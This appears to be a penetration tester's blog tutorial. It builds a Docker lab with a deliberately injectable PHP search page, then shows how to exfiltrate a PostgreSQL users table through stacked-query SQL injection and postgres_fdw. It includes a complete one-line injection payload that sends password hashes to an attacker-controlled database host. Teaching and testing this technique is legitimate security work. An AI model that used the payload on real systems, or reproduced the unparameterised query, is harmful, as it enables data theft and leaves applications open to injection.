Introduction

During a penetration test for one of my clients, I discovered a blind SQL injection on a PostgreSQL database, but data retrieval was extremely slow, so any boolean or time-based approach would have been completely useless. Then me and my colleagues decided to find another way to dump the database, and we discovered the magic of cross-queries.

What is a cross-query?

A cross-query is an SQL query that spans more than one database. Instead of pulling data from a single source, you reach across the network and grab data from another database server.
In PostgreSQL, this can be accomplished using the postgres_fdw extension, which allows one database to query another one remotely:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE EXTENSION postgres_fdw;

CREATE SERVER foreign_server
        FOREIGN DATA WRAPPER postgres_fdw
        OPTIONS (host '192.83.123.89', port '5432', dbname 'foreign_db');

CREATE USER MAPPING FOR local_user
        SERVER foreign_server
        OPTIONS (user 'foreign_user', password 'password');

CREATE FOREIGN TABLE foreign_table (
        id integer NOT NULL,
        data text
)
        SERVER foreign_server
        OPTIONS (schema_name 'some_schema', table_name 'some_table');

SELECT * FROM foreign_table;

In this example, a query is being executed on a remote database, and the results are retrieved as if they were part of the local database. But we can also do the opposite: select data locally and insert it into a remote database!

Exploitation

Setup the Production Environment

To reproduce the environment, I created an Ubuntu Server with PostgreSQL and a simple, very simple, PHP website vulnerable to SQL Injection, everythig packed up in Docker containers.
This is the docker-compose.yml file which instructs docker compose to create postgres, nginx and php-fpm containers: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
services:
  postgres:
    image: postgres:alpine
    container_name: postgres
    environment:
      POSTGRES_PASSWORD: "postgres"
    ports:
      - "5432:5432"
    volumes:
      - /home/ubuntu/init.sql:/docker-entrypoint-initdb.d/init.sql
  nginx:
    image: nginx:alpine
    container_name: nginx
    ports:
      - "80:80"
    volumes:
      - /home/ubuntu/html:/var/www/html
      - /home/ubuntu/nginx.conf:/etc/nginx/nginx.conf
      - /home/ubuntu/default.conf:/etc/nginx/conf.d/default.conf
  php:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: php-fpm
    volumes:
      - /home/ubuntu/html:/var/www/html

The Dockerfile of php-fpm container simply uses the php:8-fpm-alpine base base image and installs the pgsql extension to use PostgreSQL functions in PHP:

1
2
3
4
5
6
7
FROM php:8-fpm-alpine

RUN apk add --no-cache postgresql-dev \
    && docker-php-ext-install pgsql

EXPOSE 9000
CMD ["php-fpm"]

The nginx configuration is very basic, I instruct nginx to use /var/www/html as document root and redirect every .php files invoked from the browser to the php-fpm container listening at port 9000. No HTTPS, no compression or other “advanced” configurations have been made.
nginx.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
user  nginx;
worker_processes  auto;

pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    include /etc/nginx/conf.d/*.conf;
}

default.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
    listen       80;
    server_name  localhost;

    location / {
        root   /var/www/html;
        index  index.php index.html;
    }

    location ~ \.php$ {
        root           /var/www/html;
        fastcgi_pass   php-fpm:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

The database is initialized with init.sql script which creates the database production with the tables users and items and random data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CREATE DATABASE "production";

\c production;

CREATE TABLE users (
        id SERIAL PRIMARY KEY,
        username VARCHAR(50) NOT NULL UNIQUE,
        password CHAR(64) NOT NULL
);

CREATE TABLE items (
        id SERIAL PRIMARY KEY,
        name VARCHAR(50) NOT NULL,
        description VARCHAR(255) NOT NULL
);

INSERT INTO users VALUES (1, 'admin', '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918');
INSERT INTO users VALUES (2, 'user', '04f8996da763b7a969b1028ee3007569eaf3a635486ddab211d512c85b9df8fb');

INSERT INTO items VALUES (1, 'item1', 'lorem ipsum dolor sit amet');
INSERT INTO items VALUES (2, 'item2', 'consectetur adipiscing elit');

Finally, this is the source code of the vulnerable PHP page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Item Search</title>
</head>
<body>
    <h2>Search for an Item</h2>
    <form method="GET" action="">
        <label for="item_name">Item Name:</label>
        <input type="text" id="item_name" name="item_name" required>
        <input type="submit" value="Search">
    </form>

    <?php
    if (isset($_GET["item_name"])) {
        $item_name = $_GET["item_name"];
        $conn_string = "host=postgres dbname=production user=postgres password=postgres";
        $dbconn = pg_connect($conn_string);

        if (!$dbconn) {
            echo "<p>Error: Unable to connect to the database.</p>";
        } else {
            $sql = "SELECT COUNT(*) FROM items WHERE name LIKE '%$item_name%'";
            $result = pg_query($dbconn, $sql);
            if ($result) {
                $row = pg_fetch_row($result);
                $count = $row[0];
                echo "<p>Number of items found: $count</p>";
            } else {
                echo "<p>Error: " . pg_last_error($dbconn) . "</p>";
            }
            pg_close($dbconn);
        }
    }
    ?>
</body>
</html>

At this point, the production environment is set. We have our production database ready to be queried by our PHP script, invoked from our nginx reverse proxy.

Setup the Attacker Environment

Since we want to exfiltrate data from the production database, we also need to setup a database into our attacking environment, which can be our laptop if we are inside the same LAN or onto the cloud for more complex scenarios. For simplicty, the two databases will be on the same network.
We can use the same init.sql script for database initialization without the INSERT INTO statements, since we only want the same tables structure, and we can run the container with:

1
docker run --name postgres --rm -v /home/kali/init.sql:/docker-entrypoint-initdb.d/init.sql -e "POSTGRES_PASSWORD=postgres" -p 5432:5432 postgres:alpine

init.sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CREATE DATABASE "exfiltration";

\c exfiltration;

CREATE TABLE remote_users (
        id SERIAL PRIMARY KEY,
        username VARCHAR(50) NOT NULL UNIQUE,
        password CHAR(64) NOT NULL
);

CREATE TABLE remote_items (
        id SERIAL PRIMARY KEY,
        name VARCHAR(50) NOT NULL,
        description VARCHAR(255) NOT NULL
);

Note that the database name in the attacker environment is called exfiltration and table names are prefixed with remote_.
Now, both production and attacker environments are set and we can jump into exploitation phase.

Cross-Query Abuse

Let’s start our containers in the production server with docker compose up and interact with the website, confirming the presence of the SQL Injection:

We also can confirm that stacked-queries are working, in fact if we break the query and we do a SELECT 1, the query returns 1 as COUNT operation result:

Well, we have an SQL Injection now but suppose that, for obscure reasons, the boolean-based and timed-based techniques are very slow and also PHP errors are not displayed on the page. Is there another way to dump the data? Yes! Cross-Queries!

As written in the introduction, we can use postgres_fdw from PostgreSQL to interact with other databases:

1
2
3
4
5
CREATE EXTENSION postgres_fdw;
CREATE SERVER exfiltration_server FOREIGN DATA WRAPPER postgres_fdw OPTIONS (host '192.168.100.195', dbname 'exfiltration', port '5432');
CREATE USER MAPPING FOR postgres SERVER exfiltration_server OPTIONS (user 'postgres', password 'postgres');
CREATE FOREIGN TABLE remote_users (id INTEGER, username TEXT, password TEXT) SERVER exfiltration_server;
INSERT INTO remote_users SELECT * FROM users;

The above query creates the extension postgres_fdw, then creates the mapping for the remote server and the local user, finally creates a foreign table mapping and copies the local table users into the remote table remote_users. For our scenario, we can simply convert the query into a one-liner:

1
'; CREATE EXTENSION postgres_fdw; CREATE SERVER exfiltration_server FOREIGN DATA WRAPPER postgres_fdw OPTIONS (host '192.168.100.195', dbname 'exfiltration', port '5432'); CREATE USER MAPPING FOR postgres SERVER exfiltration_server OPTIONS (user 'postgres', password 'postgres'); CREATE FOREIGN TABLE remote_users (id INTEGER, username TEXT, password TEXT) SERVER exfiltration_server; INSERT INTO remote_users SELECT * FROM users;-- -

After the injection, we can check our remote database and we discover that the entire users table has been dumped correctly:

Conclusion

Cross-queries can be incredibly powerful but also pose significant security risks. From a penetration testing perspective, attackers can use cross-queries as another way to gain unauthorized access to sensitive data, especially if database permissions and network rules are poorly configured.
The only requirements for this attack scenario are stacked queries and CREATE EXTENSION permission enabled, which is worth mentioning being available by default only to the superuser role.